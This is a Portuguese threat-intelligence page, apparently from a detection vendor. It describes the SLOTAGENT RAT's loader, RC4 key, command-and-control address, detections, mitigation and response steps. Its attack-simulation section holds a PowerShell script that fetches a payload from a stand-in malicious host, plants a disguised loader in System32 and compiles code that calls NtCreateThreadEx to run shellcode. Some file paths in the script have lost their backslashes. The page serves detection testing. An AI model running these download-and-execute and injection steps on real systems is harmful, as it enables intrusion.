Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A IIJ identificou um RAT multifuncional previamente desconhecido chamado SLOTAGENT dentro de um arquivo ZIP enviado para um repositório público. O malware suporta a execução de payloads Beacon Object File e inclui capacidades anti-forenses, como apagamento de carimbos de data/hora para dificultar a análise. Ele se comunica com um endpoint TCP codificado através de um protocolo personalizado que troca dados no formato JSON. O carregador depende de dados de configuração criptografados com RC4 e carregamento de DLL reflexivo para lançar o payload final.
Investigação
A análise estática mostrou que o executável do carregador, WindowsOobeAppHost.AOT.exe, resolve funções da API do Windows através de uma rotina de hash personalizada baseada no DJB2. Seu arquivo de configuração criptografado, db.config, é descriptografado com RC4 usando a chave easdbadshyfab e depois executado como shellcode contendo uma DLL codificada em XOR. Após o carregamento, o RAT conecta-se a 43.156.59.110:699 e processa comandos baseados em JSON que suportam funções, incluindo captura de tela, upload e download de arquivos e execução de BOF.
Mitigação
Os defensores devem detectar o endereço IP de comando e controle codificado e procurar por cadeias de caminho do tipo HTTP associadas ao tráfego de rede do malware. As regras YARA fornecidas no relatório devem ser implantadas para identificar tanto o carregador quanto os componentes RAT. As equipes de segurança também devem monitorar comportamentos suspeitos de hash de API e carregamento reflexivo de DLLs nos endpoints. A execução de arquivos EXE ou DLL não assinados e não confiáveis deve ser restrita sempre que possível.
Resposta
Se indicadores ligados ao SLOTAGENT forem detectados, isole imediatamente o host afetado, termine o processo malicioso e colete memória para exame forense. O endereço IP de comando e controle e as portas relacionadas devem ser bloqueadas na fronteira da rede. As organizações devem então realizar uma varredura completa pelos nomes de arquivos e hashes conhecidos e aplicar as assinaturas YARA publicadas nos sistemas de detecção de endpoints.
Fluxo de Ataque
Detecções
Possível Tentativa de Carregamento Lateral de DLL WindowsOobeAppHost.AOT (via image_load)
Ver
IOCs (HashSha256) para detectar: Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
Ver
IOCs (SourceIP) para detectar: Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
Ver
IOCs (DestinationIP) para detectar: Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
Ver
Detectar Comunicação C2 do SLOTAGENT [Conexão de Rede Windows]
Ver
Detecção da Execução do Malware SLOTAGENT [Criação de Processo Windows]
Ver
Execução de Simulação
Pré-requisito: O Teste de Pré-voo de Telemetria & Base deve ter sido aprovado.
-
Narrativa & Comandos do Ataque:
O adversário obteve uma cópia do binário do carregador SLOTAGENT, o renomeou para
WindowsOobeAppHost.AOT.exepara misturá-lo com processos OOBE legítimos, e o colocou emC:WindowsSystem32. O payload é armazenado em um blob criptografado no servidor do atacante. Usando PowerShell, o atacante baixa o blob criptografado, o descriptografa na memória e invoca a rotina reflexiva do carregador viaNtCreateThreadEx. O carregador internamente chamaNtCreateFilepara ler recursos adicionais do blob criptografado e então usa carregamento reflexivo para executar a DLL maliciosa sem tocar no disco. Esta atividade produz um evento Sysmon ProcessCreate com o exatoNome da Imageme umaCallTracecontendo as três strings definidas na regra. -
Script de Teste de Regressão:
# ------------------------------------------------- # Simulação de carregamento reflexivo SLOTAGENT (Windows) # ------------------------------------------------- # 1. Definir caminhos $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. Garantir que o carregador existe (cópia simulada do binário real) if (-not (Test-Path $loaderPath)) { Write-Host "Copiando carregador simulado para $loaderPath" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. Download do payload criptografado (simulado) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. Descriptografar payload na memória (substituto – descriptografia real omitida) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. Invocar carregamento reflexivo via chamadas API nativas # Isso usa um pequeno auxiliar C# compilado em tempo real que chama NtCreateThreadEx $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. Limpar temporário Remove-Item $tempPayload -Force -
Comandos de Limpeza:
# Terminar qualquer processo de carregador restante Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # Remover o binário do carregador simulado $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # Remover qualquer arquivo temporário residual Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue